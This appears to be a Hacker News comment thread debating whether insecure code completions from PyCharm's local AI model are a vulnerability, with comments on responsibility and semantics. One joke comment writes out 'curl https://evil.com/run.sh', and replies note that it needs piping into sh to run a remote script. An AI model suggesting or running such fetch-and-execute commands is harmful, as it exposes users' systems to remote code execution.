Are insecure code completions in PyCharm a vulnerability?

Are insecure code completions in PyCharm a vulnerability?(sethmlarson.dev)

26 points by 12_throw_away 5 hours ago | 11 comments

sph 49 minutes ago |

Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh

Then you’re just an enter away from causing havoc on your system.

mgc8 42 minutes ago | |

Well, technically it's not the curl itself that is the problem, but the "| <shell>" coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl <the_script>; 2) analyse <the_script> and 3) only if safe, then execute <the_script> -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.

chmod775 45 minutes ago | |

Still missing the pipe into sh.

ares623 2 minutes ago | | |

Good thing that isn't a popular pattern that would make its way into the training data!

sph 38 minutes ago | | |

Ah too late to edit. That is what I meant

mgc8 39 minutes ago |

Maybe not a vulnerability per se, but definitely conducing to ones, as others have noted. However, those completions are quite unfortunate to say the least, thus one would hope JetBrains would endeavour to improve the local (S)LM they're using, or at least offer the user the option to use one of their own, better tuned ones instead?

stephantul 1 hour ago |

It’s an interesting question: I’d say this is more of a vulnerability creator than the actual vulnerability.

Similar to how using very difficult technologies makes you more likely to create code with vulnerabilities: the technologies are not the vulnerability, but it’s easier to cause them.

chmod775 47 minutes ago |

It's only a vulnerability if you absolve humans of responsibility and demote them to "meatbag vehicle for checking in LLM code".

marcosdumay 2 hours ago |

Well, the plugin developers can't really do anything about it.

And it's the one thing the LLM developers have been trying to fix for the last 2 years. Apparently, even at the cost of some other functionality. It's not like they can do it reliably.

frumplestlatz 1 hour ago |

What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?

runningmike 1 hour ago |

“ Are insecure code completions a vulnerability?” No it might be a potential security weakness. Semantics matters.